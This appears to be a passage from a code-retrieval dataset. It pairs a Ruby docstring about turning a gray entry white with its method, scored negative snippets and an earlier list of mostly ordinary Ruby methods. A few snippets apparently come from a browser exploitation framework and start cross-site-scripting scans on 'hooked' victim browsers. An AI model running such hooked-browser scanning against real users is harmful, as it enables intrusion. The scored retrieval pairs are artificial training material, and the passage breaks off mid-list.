"def ipn_listener\n utf8_params = convert_to_utf8(params.to_unsafe_h)\n if dispute?(utf8_params)\n order = Order.find_by order_number: utf8_params[:custom]\n if order\n order.order_comments << OrderComment.create(comment: \"Order dispute received from PayPal for reason #{utf8_params[:reason_code]}\")\n else\n Rails.logger.error \"Recieved PayPal dispute and could not find an order to comment on. Case ID: #{params[:case_id]}\"\n end\n elsif ipn_valid?(params.to_unsafe_h)\n @payment = Payment.new(service_provider: \"PayPal (IPN)\")\n @payment.installation_id = utf8_params[:business]\n copy_paypal_details(payment: @payment, details: utf8_params)\n @payment.raw_auth_message = utf8_params\n @payment.accepted = utf8_params[:payment_status] == \"Completed\"\n @payment.save!\n\n finalize_order if @payment.accepted?\n end\n head :ok\n rescue SocketError => error\n Rails.logger.error(error)\n # Even though it's probably not our fault, signal to PayPal that we're\n # having a problem. This should prompt PayPal to retry the IPN.\n head 500\n end",
"def full_new_site_report(nexpose_item, ticket_repository, options)\n log_message(\"New nexpose id: #{nexpose_item} detected. Generating report.\")\n options[:scan_id] = 0\n\n initial_scan_file = ticket_repository.generate_initial_scan_data(options,\n nexpose_item)\n log_message('Preparing tickets.')\n\n nexpose_id = format_id(nexpose_item)\n ticket_rate_limiter(initial_scan_file, 'create', nexpose_id)\n end",
"def after_resolution\n nil\n end",
"def identify; end",
"def findIssue(issue) \n\tissueFound = $client.Issue.find(issue)\n\treturn issueFound\nend",
"def set_issue\n respond_with_notify('Value not found in DB', 'alert') unless @issue = Issue.find_by_id(params[:id])\n end",
"def receive_issue_impact_change(config, payload)\n parsed = parse_url config[:project_url]\n url_prefix = parsed[:url_prefix]\n project_id = parsed[:project_id]\n http.ssl[:verify] = true\n\n users_text = if payload[:impacted_devices_count] == 1\n 'This issue is affecting at least 1 user who has crashed '\n else\n \"This issue is affecting at least #{ payload[:impacted_devices_count] } users who have crashed \"\n end\n\n crashes_text = if payload[:crashes_count] == 1\n \"at least 1 time.\\n\\n\"\n else\n \"at least #{ payload[:crashes_count] } times.\\n\\n\"\n end\n\n issue_body = \"Crashlytics detected a new issue.\\n\" + \\\n \"*#{ payload[:title] }* in _#{ payload[:method] }_\\n\\n\" + \\\n users_text + \\\n crashes_text + \\\n \"More information: #{ payload[:url] }\"\n post_body = {\n 'name' => payload[:title] + ' [Crashlytics]',\n 'requested_by' => 'Crashlytics',\n 'story_type' => 'bug',\n 'description' => issue_body }\n\n resp = http_post \"https://#{url_prefix}/services/v3/projects/#{project_id}/stories\" do |req|\n req.headers['Content-Type'] = 'application/xml'\n req.headers['X-TrackerToken'] = config[:api_key]\n req.params[:token] = config[:api_key]\n req.body = post_to_xml(post_body)\n end\n if resp.status < 200 || resp.status > 299\n raise \"Pivotal Issue Create Failed: #{ resp[:status] }, #{ resp.body }\"\n end\n { :pivotal_story_id => ::Nokogiri::XML::Document.parse(resp.body).xpath('/story/id').children().first().content() }\n end",
"def add(issue)\n @issues[issue.name] = issue\n end",
"def report_for_duty!\n application = reporter.announce\n\n if application\n info(\"Configured correctly and ready to handle exceptions for '#{application}'\")\n else\n error(\"Failed to report for duty, your application failed to authenticate correctly with stdin.crashlog.io\")\n end\n end",
"def jira_issues\n @jira_issues ||= Hash.new\nend",
"def death_handlers; end",
"def process_created_issue_comment(issue_comment_payload)\n pr_name = issue_comment_payload['repository']['full_name'].to_s\n pr_number = issue_comment_payload['issue']['number'].to_s\n\n pull_request = @client.pull_request(pr_name, pr_number)\n current_commit_hash = pull_request['head']['sha'].to_s\n\n plus_ones = @redis.hget(pr_name + \":\" + pr_number, current_commit_hash)\n\n # Ensure that a key actually exists\n if !plus_ones.nil?\n plus_ones_to_add = parse_comment_body(issue_comment_payload['comment']['body'])\n\n # If there is no net change\n if plus_ones_to_add === 0\n return 200\n end\n\n plus_ones = plus_ones.to_i + plus_ones_to_add\n\n # Ensure the count isn't negative\n if plus_ones < 0\n plus_ones = 0\n end\n\n @redis.hset(pr_name + \":\" + pr_number, current_commit_hash, plus_ones)\n\n if plus_ones >= NEEDED_PLUS_ONES\n # Set commit status to sucessful\n @client.create_status(\n pr_name,\n current_commit_hash,\n 'success',\n {\n 'description' => 'Commodus: Required plus ones (' + plus_ones.to_s + '/' + NEEDED_PLUS_ONES.to_s + ') has been reached!',\n 'context' => 'robinpowered/commodus'\n }\n )\n else\n @client.create_status(\n pr_name,\n current_commit_hash,\n 'pending',\n {\n 'description' => 'Commodus: Required plus ones (' + plus_ones.to_s + '/' + NEEDED_PLUS_ONES.to_s + ') has yet to be reached.',\n 'context' => 'robinpowered/commodus'\n }\n )\n end\n end\n\n return 200\n end",
"def create_new_scan\n hooked_browser = HB.first(:session => @params['zombie_session'].to_s)\n if(hooked_browser != nil)\n\n # set Cross-domain settings\n cross_domain = @params['cross_domain']\n if cross_domain.nil? or cross_domain.empty?\n cross_domain = CROSS_DOMAIN\n else\n cross_domain = true\n end\n print_debug(\"[XSSRAYS] Setting scan cross_domain to #{cross_domain}\")\n\n # set Clean-timeout settings\n clean_timeout = @params['clean_timeout']\n if clean_timeout.nil? or clean_timeout.empty?\n clean_timeout = CLEAN_TIMEOUT\n end\n print_debug(\"[XSSRAYS] Setting scan clean_timeout to #{clean_timeout}\")\n\n xssrays_scan = XS.new(\n :hooked_browser_id => hooked_browser.id,\n :scan_start => Time.now,\n :domain => hooked_browser.domain,\n :cross_domain => cross_domain, #check also cross-domain URIs found by the crawler\n :clean_timeout => clean_timeout #how long to wait before removing the iFrames from the DOM (5000ms default)\n )\n xssrays_scan.save\n\n print_info(\"[XSSRAYS] Starting XSSRays on HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]\")\n end\n end",
"def on_barcode(barcode = nil)\n display.update message_for(barcode)\n nil\n end",
"def new\n @issue = Issue.new\n @issue.copy_from(params[:copy_from]) if params[:copy_from]\n @issue.project = @project\n @issue.user_story_id = params[:user_story_id] unless params[:user_story_id].blank? \n # Tracker must be set before custom field values\n @issue.tracker ||= @project.trackers.find((params[:issue] && params[:issue][:tracker_id]) || params[:tracker_id] || :first)\n if @issue.tracker.nil?\n render_error l(:error_no_tracker_in_project)\n return\n end\n if params[:issue].is_a?(Hash)\n @issue.attributes = params[:issue]\n @issue.watcher_user_ids = params[:issue]['watcher_user_ids'] if User.current.allowed_to?(:add_issue_watchers, @project)\n end\n @issue.author = User.current\n\n default_status = IssueStatus.default\n unless default_status\n render_error l(:error_no_default_issue_status)\n return\n end\n @issue.status = default_status\n @allowed_statuses = ([default_status] + default_status.find_new_statuses_allowed_to(User.current.roles_for_project(@project), @issue.tracker)).uniq\n\n if request.get? || request.post? && !params[:reload].blank?\n @issue.start_date ||= Date.today\n @priorities = IssuePriority.all\n render :partial => \"issue_sprints/new\"\n else\n requested_status = IssueStatus.find_by_id(params[:issue][:status_id])\n # Check that the user is allowed to apply the requested status\n @issue.status = (@allowed_statuses.include? requested_status) ? requested_status : default_status\n @issue.fixed_version_id = @issue.user_story.version_id\n if @issue.save\n status = done_ratio_to_status(@issue)\n attach_files(@issue, params[:attachments])\n call_hook(:controller_issues_new_after_save, { :params => params, :issue => @issue})\n @issue_statuses = IssueStatus.find(:all)\n @project_users = User.find(:all, :joins => :members, :conditions => [\"members.project_id = ?\", @project.id])\n render :update do |p|\n p.insert_html :bottom, \"tasks_#{status}_us_#{@issue.user_story_id}\", :partial => \"shared/task_view\",\n :locals => {:task => @issue, :issue_statuses => @issue_statuses,\n :project_users => @project_users}\n end\n return\n end\n end\n end",
"def new_issue(issue)\n @issue = issue\n\n mail subject: \"New Issue Ticket\"\n end",
"def my_new\r\n @issue = Issue.new\r\n @issue.defaults_from(params[:related_to]) if params[:related_to] && params[:do_copy]\r\n @issue.project = @project\r\n @issue.tracker ||= @project.trackers.find((params[:issue] && params[:issue][:tracker_id]) || params[:tracker_id] || :first)\r\n if @issue.tracker.nil?\r\n render_error l(:error_no_tracker_in_project)\r\n return\r\n end\r\n if params[:issue].is_a?(Hash)\r\n @issue.attributes = params[:issue]\r\n @issue.watcher_user_ids = params[:issue]['watcher_user_ids'] if User.current.allowed_to?(:add_issue_watchers, @project)\r\n end\r\n @issue.author = User.current\r\n \r\n default_status = IssueStatus.default\r\n unless default_status\r\n render_error l(:error_no_default_issue_status)\r\n return\r\n end\r\n @issue.status = default_status\r\n @allowed_statuses = ([default_status] + default_status.find_new_statuses_allowed_to(User.current.roles_for_project(@project), @issue.tracker)).uniq\r\n @priorities = IssuePriority.all\r\n if request.get? || request.xhr?\r\n @issue.start_date ||= Date.today\r\n render :template => 'issues/new'\r\n else\r\n requested_status = IssueStatus.find_by_id(params[:issue][:status_id])\r\n @issue.status = (@allowed_statuses.include? requested_status) ? requested_status : default_status\r\n call_hook(:controller_issues_new_before_save, { :params => params, :issue => @issue })\r\n if @issue.save\r\n attach_files(@issue, params[:attachments])\r\n flash[:notice] = l(:notice_successful_create)\r\n call_hook(:controller_issues_new_after_save, { :params => params, :issue => @issue})\r\n redirect_to(params[:continue] ? { :action => 'my_new', :project_id=>@issue.project.identifier,:related_to=>params[:related_to],:do_copy=>true } :\r\n { :action => 'show', :id => @issue })\r\n else\r\n render :template => 'issues/new'\r\n end \r\n end\r\n end",
"def identifier\n issue.identifier\n end",
"def inspector_successfully_received_report(report, inspector)\n report.issues[0..(NUMBER_OF_ISSUES_INLINE - 1)].each { |issue| print_issue_full(issue) }\n\n if report.issues.count > NUMBER_OF_ISSUES_INLINE\n puts \"and #{report.total_results - NUMBER_OF_ISSUES_INLINE} more at: #{report.url}\"\n puts \"\"\n end\n\n print_open_link_hint\n end",
"def after_post_receive\n end",
"def process_closed_pull_request(pull_request)\n pr_name = pull_request['base']['repo']['full_name'].to_s\n pr_number = pull_request['number'].to_s\n current_commit_hash = pull_request['head']['sha'].to_s\n\n # Delete the PR from the redis store\n @redis.del(pr_name + \":\" + pr_number)\n return 200\n end",
"def initialize_issues_array\n find_all_issues\n end",
"def populate_other_information(issue)\n populate_issues_status(issue)\n populate_changelog_notes_description(issue)\n populate_issue_includes_changelog_notes(issue)\n end",
"def scanner()\n raise NotImplementedError\n end",
"def issue_found(script, rule, pair); end",
"def auto_recover\n self.redeclare unless predefined?\n end",
"def set_scan_target\n hooked_browser = HB.first(:session => @params['hb_id'].to_s)\n if(hooked_browser != nil)\n xssrays_scan = XS.new(\n :hooked_browser_id => hooked_browser.id,\n :scan_start => Time.now,\n :domain => hooked_browser.domain,\n :cross_domain => CROSS_DOMAIN, #check also cross-domain URIs found by the spider\n :clean_timeout => CLEAN_TIMEOUT #check also cross-domain URIs found by the spider\n )\n xssrays_scan.save\n\n print_info(\"[XSSRAYS] Starting XSSRays on HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]\")\n end\n\n end",
"def receive_issue_impact_change(config, payload)\n parsed = parse_url config[:project_url]\n project_key = parsed[:project_key]\n http.ssl[:verify] = true\n http.basic_auth config[:username], config[:password]\n\n resp = http_get \"#{parsed[:url_prefix]}/rest/api/2/project/#{project_key}\"\n # Get the numeric project id from the JIRA project key, so that we can post issues to this project.\n project_id = JSON.parse(resp.body).is_a?(Hash) ? JSON.parse(resp.body)['id'] : JSON.parse(resp.body)[0]['id']\n\n users_text = \"\"\n crashes_text = \"\"\n if payload[:impacted_devices_count] == 1\n users_text = \"This issue is affecting at least 1 user who has crashed \"\n else\n users_text = \"This issue is affecting at least #{ payload[:impacted_devices_count] } users who have crashed \"\n end\n if payload[:crashes_count] == 1\n crashes_text = \"at least 1 time.\\n\\n\"\n else\n \"at least #{ payload[:crashes_count] } times.\\n\\n\"\n end\n\n issue_description = \"Crashlytics detected a new issue.\\n\" + \\\n \"#{ payload[:title] } in #{ payload[:method] }\\n\\n\" + \\\n users_text + \\\n crashes_text + \\\n \"More information: #{ payload[:url] }\"\n\n post_body = { 'fields' => {\n 'project' => {'id' => project_id},\n 'summary' => payload[:title] + ' [Crashlytics]',\n 'description' => issue_description,\n 'issuetype' => {'id' => '1'} } }\n\n resp = http_post \"#{parsed[:url_prefix]}/rest/api/2/issue\" do |req|\n req.headers['Content-Type'] = 'application/json'\n req.body = post_body.to_json\n end\n if resp.status != 201\n raise \"Jira Issue Create Failed: #{ resp[:status] }, body: #{ resp.body }\"\n end\n { :jira_story_id => JSON.parse(resp.body)['id'] }\n end",
"def set_issue\n @issue = Issue.find(params[:id])\n end",
"def set_issue\n @issue = Issue.find(params[:id])\n end",
"def set_issue\n @issue = Issue.find(params[:id])\n end",
"def set_issue\n @issue = Issue.find(params[:id])\n end",
"def miss_reason; end",
"def handle_heartbeat_ack(_payload)\n @heartbeat_acked = true\n end",
"def resourceType\n 'DetectedIssue'\n end",
"def process(payload)\n @working = true\n begin\n @queues.outgoing.push(discover_artifact_from(payload))\n rescue => ex\n STDERR.puts \"[Error] Exception in thread: #{ex.full_message}\"\n @queues.outgoing.push(ex)\n ensure\n @working = false\n end\n end",
"def receive_issue_impact_change(payload)\n resp = post_event('issue_impact_change', 'issue', payload)\n if resp.success?\n log('issue_impact_change successful')\n else\n display_error(\"Pagerduty issue impact change failed - #{error_response_details(resp)}\")\n end\n end",
"def handle_repo_push_request\n return unless @repository\n\n branch_name = payload[\"ref\"].sub(%r{\\Arefs/heads/}, '')\n branch = @repository.branches.where(name: branch_name).first\n if branch.present? && branch.convergence? && @repository.run_ci?\n sha = payload[\"after\"]\n branch.kickoff_new_build_unless_currently_busy(sha)\n end\n end",
"def deliver\n raise Pomodori::Notifier::Error, \"This method needs to be overwritten\"\n end",
"def inspector_received_empty_report(report, inspector)\n puts(\"Found no similar issues. To create a new issue, please visit:\")\n puts(\"https://github.com/#{inspector.repo_owner}/#{inspector.repo_name}/issues/new\")\n puts(\"Run `fastlane env` to append the fastlane environment to your issue\")\n end"
] | [
"0.6083699",
"0.6028642",
"0.58497536",
"0.58497536",
"0.5809531",
"0.5809531",
"0.54663014",
"0.5306853",
"0.52345395",
"0.5159733",
"0.51464957",
"0.5123844",
"0.5071489",
"0.50656337",
"0.50563616",
"0.5019229",
"0.49901628",
"0.49799582",
"0.49799582",
"0.49753729",
"0.49444193",
"0.4943748",
"0.492571",
"0.4923878",
"0.49151143",
"0.49150583",
"0.49143213",
"0.49029464",
"0.49022317",
"0.4895481",
"0.48656067",
"0.48581862",
"0.48451042",
"0.48334908",
"0.48324487",
"0.4824731",
"0.48187867",
"0.48171738",
"0.481281",
"0.48107",
"0.48041037",
"0.4789214",
"0.47799137",
"0.47792926",
"0.47766316",
"0.475726",
"0.4757025",
"0.47409692",
"0.4730393",
"0.47242263",
"0.4716823",
"0.47086093",
"0.4689207",
"0.46834186",
"0.4677396",
"0.46701792",
"0.46632496",
"0.4661483",
"0.4657458",
"0.46554145",
"0.46537912",
"0.46536192",
"0.46404633",
"0.46352506",
"0.46266517",
"0.46176568",
"0.46115276",
"0.46078688",
"0.45955226",
"0.45935762",
"0.45931816",
"0.45856407",
"0.45807543",
"0.4579292",
"0.45780358",
"0.45770952",
"0.45666882",
"0.4564144",
"0.4564044",
"0.45615098",
"0.45588925",
"0.45518267",
"0.4548648",
"0.45457113",
"0.45405975",
"0.45338234",
"0.4529568",
"0.45234922",
"0.45171604",
"0.45171604",
"0.45171604",
"0.45171604",
"0.4516014",
"0.45159966",
"0.45128858",
"0.4507745",
"0.45051664",
"0.45047575",
"0.4499422",
"0.44979522"
] | 0.69553334 | 0 |
Override the original to_param so that it returns name, not ID, for constructing URLs. Use Modelfind_by_name() instead of Model.find() in controllers. | def to_param
name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_param\n \"#{self.id}-#{self.name.parameterize}\"\n end",
"def to_param\n \t\"#{self.id}-#{self.name.parameterize}\"\n end",
"def to_param\n \t\"#{self.id}-#{self.name.parameterize}\"\n end",
"def to_param\n \"#{self.id}-#{self.name.parameterize.to_s}\"\n end",
"def to_param\n \"#{self.id}#{'-' + self.name.parameterize if self.name.present? }\"\n end",
"def to_param\n name_for_url\n end",
"def to_param\n self.name\n end",
"def to_param\n self.name\n end",
"def to_param\n \"#{id}-#{self.name.parameterize}\"\n end",
"def to_param\n \"#{id}-#{name.parameterize}\"\n end",
"def to_param\n plural? ? id : model_name.param_key\n end",
"def to_param\n \"#{id}-#{name.to_safe_uri}\"\n end",
"def to_param\n self.name.parameterize\n end",
"def to_param\n self.name.parameterize\n end",
"def to_param\n self.name.parameterize\n end",
"def to_param\n \"#{id}-#{name.to_safe_uri rescue nil}\"\n end",
"def to_param\n \"#{id}-#{name.to_safe_uri rescue nil}\"\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n name\n end",
"def to_param\n \"#{id}-#{name.parameterize}\"\n end",
"def to_param\n \"#{id}-#{name.parameterize}\"\n end",
"def to_param\n \"#{id}-#{name.parameterize}\"\n end",
"def to_param\n \"#{id}-#{name.parameterize}\"\n end",
"def to_param\n \tname\n end",
"def to_param\n \"#{id}-#{name}\".parameterize if id.present?\n end",
"def to_param\n self.name.parameterize\n end",
"def to_param\n \"#{self.id}-#{self.display_name}\"\n end",
"def to_param\n \"#{id}-#{name.try(:parameterize)}\" if id\n end",
"def to_param\n url_name\n end",
"def to_param\n \"#{id}-#{display_name.parameterize}\"\n end",
"def to_param\n \"#{id}-#{canonical_title.parameterize}\"\n end",
"def to_param\n\t \"#{id} #{name}\".parameterize\n\tend",
"def to_param\n # We can't use alias_method here, because method 'id' optimizes itself on the fly.\n id && id.to_s # Be sure to stringify the id for routes\n end",
"def to_param\n \"#{id} #{name}\".parameterize\n end",
"def to_param\n \"#{id} #{name}\".parameterize\n end",
"def to_param\n full_name\n end",
"def to_param # This overwrites the 'to_param' method (That is called by default in the views with something like: 'edit_post_path(@post)'). It is overridden so that the slug can be executed.\n self.slug #.slug method comes from the 'slug' column in the 'posts' table.\n end",
"def to_param\n name.parameterize()\n end",
"def to_param\n # We can't use alias_method here, because method 'id' optimizes itself on the fly.\n id&.to_s # Be sure to stringify the id for routes\n end",
"def to_param\n\t\t\"#{id}-#{name.gsub(/[^a-z0-9]+/i, '-').downcase}\"\n\tend",
"def to_param\n \"#{id}-#{self.title}\".parameterize\n end",
"def to_param\n \"#{id}-#{self.title}\".parameterize\n end",
"def to_param\n\t\t\"#{id}-#{title.parameterize}\"\n\tend",
"def to_param\n\t\t\"#{id}-#{title.parameterize}\"\n\tend",
"def to_param\n \"#{id}-#{title.parameterize}\"\n end",
"def to_param\n \"#{id} #{nickname}\".parameterize\n end",
"def to_param\n object.to_param\n end",
"def to_param\n id.to_s << \"-\" << (name ? name.parameterize : '' )\n end",
"def to_param\n \"#{self.id}-#{self.friendly_id}\"\n end",
"def to_param\n \"#{id}-#{title.parameterize}\"\n end",
"def to_param\n \"#{id}-#{title.parameterize}\"\n end",
"def to_param # overridden\n slug\n end",
"def to_param\n \"#{self.id}-#{self.match.try(:name)}\".parameterize\n end",
"def to_param\n internal_name.downcase\n end",
"def to_param\n slug # or \"#{id}-#{name}\".parameterize\n end",
"def to_param\n permalink = self.first_name + \"-\" + self.last_name\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{self.slug}\"\n end",
"def to_param\n \"#{id}-#{self.slug}\"\n end",
"def to_param\n \"#{id}-#{self.slug}\"\n end",
"def to_param\n \"#{id}-#{name}\".parameterize\n #[id, name.parameterize].join(\"-\")\n end",
"def to_param\n self.url_pretty\n end",
"def to_param\n \"#{title.to_url}-#{id}\"\n end",
"def to_param\n title\nend",
"def to_param\n \"#{self.id}-#{self.title.gsub(/[^a-z0-9]+/i, '-')}\"\n end",
"def to_param\n \"#{id} #{title}\".parameterize\n end",
"def to_param\n [id, read_attribute(:name).parameterize].join('-')\n end",
"def to_param\n [id, name.parameterize].join(\"-\")\n end",
"def to_param\n [id, name.parameterize].join(\"-\")\n end",
"def to_param\n [id, name.parameterize].join(\"-\")\n end",
"def to_param\n if not self.title.blank?\n [self.id, self.title.parameterize].join('----')[0,64]\n else\n self.id.to_s\n end\n end",
"def to_param\n \"#{id}-#{slug}\"\n end",
"def to_param\n slug || id\n end",
"def to_param\n name.parameterize\n end",
"def to_param\n self[self.slug_column]\n end",
"def to_param\n name.downcase.gsub(' ', '-')\n end",
"def to_param\n if title\n \"#{id}-#{title.parameterize}\"\n else\n \"#{id}\"\n end\n end",
"def to_friendly_param\n to_param\n end",
"def to_param \n \"#{id}-#{name.gsub(/[^a-z1-9]+/i, '-').downcase}\" \n end",
"def to_param\n identifier\n end",
"def to_param\n self.id.to_s\n end",
"def to_param\n \"#{id}-#{slug}\"\n end"
] | [
"0.7414395",
"0.7361364",
"0.7361364",
"0.7327415",
"0.73018503",
"0.725298",
"0.72435915",
"0.72435915",
"0.72273415",
"0.72061634",
"0.7195993",
"0.7137509",
"0.71234405",
"0.71234405",
"0.71234405",
"0.711025",
"0.711025",
"0.7089496",
"0.7089496",
"0.7089496",
"0.7089496",
"0.7089496",
"0.7089496",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70835876",
"0.70702976",
"0.70702976",
"0.70702976",
"0.70702976",
"0.7049223",
"0.69703007",
"0.6953417",
"0.69482946",
"0.6917674",
"0.68660754",
"0.6815601",
"0.68134946",
"0.6795729",
"0.67910856",
"0.6787124",
"0.6787124",
"0.67529726",
"0.6746648",
"0.6740776",
"0.67254066",
"0.671281",
"0.6684745",
"0.6684745",
"0.6657061",
"0.6657061",
"0.660835",
"0.65950054",
"0.65606993",
"0.65566766",
"0.6555066",
"0.65503734",
"0.65503734",
"0.6549501",
"0.6546623",
"0.654606",
"0.654142",
"0.6529463",
"0.65206563",
"0.65206563",
"0.65206563",
"0.65176964",
"0.6512039",
"0.65067273",
"0.6489115",
"0.6480174",
"0.6480007",
"0.64730173",
"0.64708096",
"0.64708096",
"0.64708096",
"0.6470409",
"0.6465373",
"0.64329404",
"0.6429331",
"0.6428856",
"0.64105624",
"0.6400726",
"0.6390671",
"0.638768",
"0.6372944",
"0.63694376",
"0.6369294"
] | 0.71051437 | 19 |
turn a gray entry to white | def turn_to_white(entry)
raise "Only a gray entry can be turned to white" unless entry.mode == Entry::MODE_GRAY
entry.be_white!
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def turn_to_black(entry)\n\t\traise \"Only a gray entry can be turned to black\" unless entry.mode == Entry::MODE_GRAY\n\t\tentry.be_black!\n\t\tdecrement!(:entries_num)\n\tend",
"def white\n colorize(37)\n end",
"def white!\n self.color = :white\n end",
"def cancel_black(entry)\n\t\traise \"Ony a black entry can be canceled to gray\" unless entry.mode == Entry::MODE_BLACK\n\t\tentry.be_gray!\n\t\tincrement!(:entries_num)\n\tend",
"def black_and_white\n @photo = Photo.find(params[:id])\n img = Magick::Image.read('public' + @photo.attachment_url).first\n img = img.quantize(256, Magick::GRAYColorspace)\n img.write('public' + @photo.attachment_url)\n end",
"def white\n Wasko::Color.color_from_string(\"white\")\n end",
"def white?\n color == \"white\"\n end",
"def opposite_color\n @base.brightness > 0.5 ? black : white\n end",
"def filter_color(col)\n col =~ /transparent|false/i ? nil : col\n end",
"def white; return self.trays[Hive::Color[:white]]; end",
"def white\n find color: :white\n end",
"def white?\n @color == \"White\" ? true : false\n end",
"def show\n @bg_gray = true\n\n end",
"def colorize!; @colors = true; end",
"def draw_greyscale_pixel(col,row, teint)\n\t\t@image[ col,row ] = ChunkyPNG::Color.grayscale(teint)\t\t\n\tend",
"def white_light\n @command.execute(1, [0x31, 0x00, 0x00, 0x00, 0x03, 0x05, 0x00, 0x00, 0x00])\n\n self\n end",
"def colorized?; end",
"def gray=(val)\n @r = @g = @b = g\n end",
"def black_and_white?\n entries == [ChunkyPNG::Color::BLACK, ChunkyPNG::Color::WHITE]\n end",
"def red?\n not black?\n end",
"def set(color)\n color == :w ? whites : blacks\n end",
"def constrain_to_colors(array)\n array[0] > 255 ? array[0] = 255 : array[0] < 0 ? array[0] = 0 : array[0]\n array[1] > 255 ? array[1] = 255 : array[1] < 0 ? array[1] = 0 : array[1]\n array[2] > 255 ? array[2] = 255 : array[2] < 0 ? array[2] = 0 : array[2]\n return array\n end",
"def invert\n r = 1.0 - self.red\n g = 1.0 - self.green\n b = 1.0 - self.blue\n a = self.alpha\n UIColor.colorWithRed(r, green:g, blue:b, alpha:a)\n end",
"def normal_color\n #return Color.new(255,255,255)\n end",
"def grayscale!\n set(grayscale)\n end",
"def white\n self.on\n command Command::WHITE[@group]\n end",
"def piece_color(piece); ((piece.color == :white) ? \"#FFEED5\" : \"#063848\") end",
"def gray?\n colorspace == \"gray\"\n end",
"def invert\n Color.from_rgb(255 - r, 255 - g, 255 - b)\n end",
"def invert\n Color.from_rgb(255 - r, 255 - g, 255 - b)\n end",
"def monochrome! \n\t\treturn @image = @image.quantize(2, Magick::GRAYColorspace) \n\tend",
"def binarization(color, threshold)\n mid = ((color.red / 257) + (color.green / 257) + (color.blue / 257)) / 3\n return mid > threshold ? \"#fff\" : '#000'\nend",
"def revert_to_normal\n self.blend_type = 0\n self.color.set(0, 0, 0, 0)\n self.ox = @cw/2\n self.opacity = 255\n end",
"def bright; end",
"def bright; end",
"def grayscale(teint)\n teint << 24 | teint << 16 | teint << 8 | 0xff\n end",
"def grayscale(teint)\n teint << 24 | teint << 16 | teint << 8 | 0xff\n end",
"def green=(_); end",
"def dark; end",
"def dark; end",
"def black\n Wasko::Color.color_from_string(\"black\")\n end",
"def black\n Wasko::Color.color_from_string(\"black\")\n end",
"def invert\n Color.new(255 - @red, 255 - @green, 255 - @blue, @alpha)\n end",
"def darken(value=0)\n return self.brighten(-value)\n end",
"def remove_black_color(env)\n node = env[:node]\n return unless node.element?\n return unless node.attr('style').present?\n node['style'] = node['style'].gsub(/(?<!background-)(color:#000000;?)/, '')\n end",
"def normal_color\n return Color.new(255, 255, 255)\n end",
"def brighter(k=1)\n k = 0.7**k\n i = 30\n r=self.r\n g=self.g\n b=self.b\n return Rubyvis.rgb(i, i, i, a) if (!r and !g and !b) \n r = i if (r and (r < i)) \n g = i if (g and (g < i)) \n b = i if (b and (b < i))\n Rubyvis.rgb(\n [255, (r/k).floor].min,\n [255, (g/k).floor].min,\n [255, (b/k).floor].min,\n a)\n end",
"def text_color(threshold=0.6, formula=:standard)\n brightness(formula) > threshold ? Colorist::Color.new(0x000000) : Colorist::Color.new(0xffffff)\nend",
"def green\n colorize(32)\n end",
"def green\n\t\tlight COLOR_KEY_GREEN\n\tend",
"def grayscale_entry(bit_depth)\n value = ChunkyPNG::Canvas.send(:\"decode_png_resample_#{bit_depth}bit_value\", content.unpack(\"n\")[0])\n ChunkyPNG::Color.grayscale(value)\n end",
"def light_colour\n\t\t\tOmniboard::Colour.new(0).light\n\t\tend",
"def whiten\n self.blend_type = 0\n self.color.set(255, 255, 255, 128)\n self.opacity = 255\n @_whiten_duration = 16\n @_appear_duration = 0\n @_escape_duration = 0\n @_collapse_duration = 0\n end",
"def milight_adjust_color(r,g,b)\n\t\tif r == 100 && g == 100 && b == 100\n\t\t\t$bridge.white\n\t\telse\n\t\t\t$bridge.color(Color::RGB.from_percentage(r, g, b)) \n\t\tend\n\tend",
"def reset!\n @color = @@colors[:white]\n end",
"def truecolor_entry(bit_depth)\n decode_method_name = :\"decode_png_resample_#{bit_depth}bit_value\"\n values = content.unpack(\"nnn\").map { |c| ChunkyPNG::Canvas.send(decode_method_name, c) }\n ChunkyPNG::Color.rgb(*values)\n end",
"def to_true_color\n self\n end",
"def darker(k=1)\n k = 0.7 ** k\n Rubyvis.rgb(\n [0, (k * r).floor].max,\n [0, (k * g).floor].max,\n [0, (k * b).floor].max,\n a)\n end",
"def normal_color; return Color.normal_color; end",
"def state(state)\n if (state == RUNNING)\n @search_entry.modify_base(Gtk::STATE_NORMAL, Gdk::Color.parse('gray'))\n elsif (state == CLEAR)\n @search_entry.modify_base(Gtk::STATE_NORMAL, Gdk::Color.parse('white'))\n end\n end",
"def grayscale\n with_command \"-type Grayscale\"\n end",
"def text_color(threshold=0.6, formula=:standard)\n brightness(formula) > threshold ? Colorist::Color.new(0x000000) : Colorist::Color.new(0xffffff)\n end",
"def black?\n @color == :black\n end",
"def grayscale\n Color.new(self).tap do |val|\n val.r = val.g = val.b = (0.2126 * val.r + 0.7152 * val.g + 0.0722 * val.b)\n end\n end",
"def switch_background(color)\n color == [248,250,210] ? [215,188,149] : [248,250,210]\n end",
"def text_color_for_image(image)\n dominant = dominant_color(image)\n brightness = brightness(dominant)\n # Por ahora sólo devolvemos blanco o negro.\n # Si lo vemos muy feo, pensar una solución\n # más inteligente.\n if brightness < 255 / 2\n \"#fff\"\n else\n \"#000\"\n end\n end",
"def red=(_); end",
"def crisis_color\n return Color.new(255, 255, 64)\n end",
"def transparent\n pixel = image_ptr[:transparent]\n pixel == -1 ? nil : pixel2color(pixel)\n end",
"def background_colour\n @cr[0xf] >> 4\n end",
"def bg_dark_grey; use_code(100) end",
"def rainbow; end",
"def to_grayscale\n l = luminosity\n self.class.new(l, l, l)\n end",
"def green=(num)\n @green = constrain num, 0..255\n end",
